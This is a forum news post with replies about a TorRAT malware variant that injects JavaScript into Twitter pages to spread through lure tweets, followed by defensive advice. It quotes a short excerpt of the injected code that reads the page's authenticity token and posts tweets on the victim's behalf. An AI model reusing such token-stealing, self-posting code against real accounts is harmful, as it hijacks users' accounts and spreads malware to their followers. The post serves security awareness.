Javascript Twitter injection launches Man-in-the-Browser attacks

happygeek 2 Tallied Votes 404 Views Share

Dana Tamir, Enterprise Security Director for Trusteer has recently uncovered a variation of the TorRAT banking data malware which has been actively configured to target Twitter users. The attack works by "injecting Javascript code into the victim’s Twitter account page" Tamir says, adding that the malware "collects the user’s authentication token, which enables it to make authorized calls to Twitter's APIs, and then posts new, malicious tweets on behalf of the victim". These tweets are used, of course, to spread the malware within the social networking circle by leveraging the trust that is implicit in such networks. Twitter users, generally speaking, follow people and accounts that they trust. When these accounts are compromised by such an attack it becomes quite easy to persuade followers to click through to drive-by-malware pages, simply courtesy of the level of implied trust invested in the original poster.

At the moment this particular attack seems to be confined to the Dutch market, with tweets saying such things as ""Onze nieuwe koning Willem gaat nog meer verdienen dan beatrix. check zijn salaris" which roughly translates to "Our new King William will earn even more than Beatrix. Check his salary" and contains a malicious link.
Of course, the attack vector will most likely soon change as other groups adopt the methodology and adapt the code accordingly.

Dana Tamir provided an excerpt from that injected Javascript code to highlight what is being done:

function _PostTweet() {
        var a = $('input[name="authenticity_token"]').val();
        a.length > 0 && $.post("/i/tweet/create", {
            authenticity_token: a,
            place_id: "",
            status: _GetRndMsg()
        }).always(function () {
            ar[0].msgsent = 1, SetO(), window.location.href = window.location.href
        })
    }

Trusteer advises that enterprise exploit prevention technology, preventing vulnerable endpoint user applications (browser clients) from being exploited and malware downloaded and executed, is the best way stop such attacks dead. "External sources like web content and email attachments, which can include a hidden exploit in the form of embedded code, should never be trusted" Trusteer says "Such content should only be opened while monitoring the application state to ensure it is operating legitimately".

Dani AI

Generated

raised the right alarm: this isn’t a classic server-side XSS stored in Twitter’s database but a client-side compromise that makes the user’s own browser send legitimate requests on their behalf. That distinction matters because defenses that rely only on filtering input at the server won’t stop code that’s generated or injected inside a victim’s browser after the page loads.

To answer : the malicious JavaScript typically appears in the page at render time because something on the endpoint is altering the browser’s view — examples seen in the wild include trojans that hook browser APIs, rogue extensions, local proxy/DNS tampering, or malware that injects script into the DOM. In those cases the browser still submits perfectly normal requests with valid credentials, so Twitter’s servers see what looks like an ordinary user action rather than an attack payload.

Practical steps (individuals): assume the device is compromised until proven clean. From a known-clean device, change passwords and enable two-factor authentication, review and revoke any unknown app authorizations in account settings, and sign out active sessions. On the suspected device, remove unknown browser extensions, run full anti-malware/AV scans with updated signatures, and consider a clean OS reinstall if persistence is found. Check account activity for unauthorized posts and revoke tokens if possible.

Enterprise controls: focus on the endpoint and the browser runtime — EDR/endpoint prevention, application allowlisting, browser isolation or remote rendering, strict patching, network URL filtering, and monitoring for anomalous outbound API calls. User-targeted lures will often be localized (as noted), so combine technical controls with targeted user awareness. If compromise is suspected, treat credentials and tokens as potentially stolen and rotate/revoke them from a clean environment.

Member Avatar for Member #949455
Member #949455

At the moment this particular attack seems to be confined to the Dutch market, with tweets saying such things as ""Onze nieuwe koning Willem gaat nog meer verdienen dan beatrix. check zijn salaris" which roughly translates to "Our new King William will earn even more than Beatrix. Check his salary" and contains a malicious link.

This sound like an isolated incident maybe not if it starts spreading but it's good to know. So I can be aware with this javascript code.

Not sure why they used this phrase:

Our new King William will earn even more than Beatrix. Check his salary

What the meaning behind it.

To me it meant

Wee kin william will earn even mooar than beytrix. check 'is salary 
Member Avatar for Member #120589
Member #120589

Interesting. But how does the js get into a stored post in the first place? How is the script injected? I can understand that the js code is sent to the server, but doesn't Twitter screen and strip any possible malicious code?

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.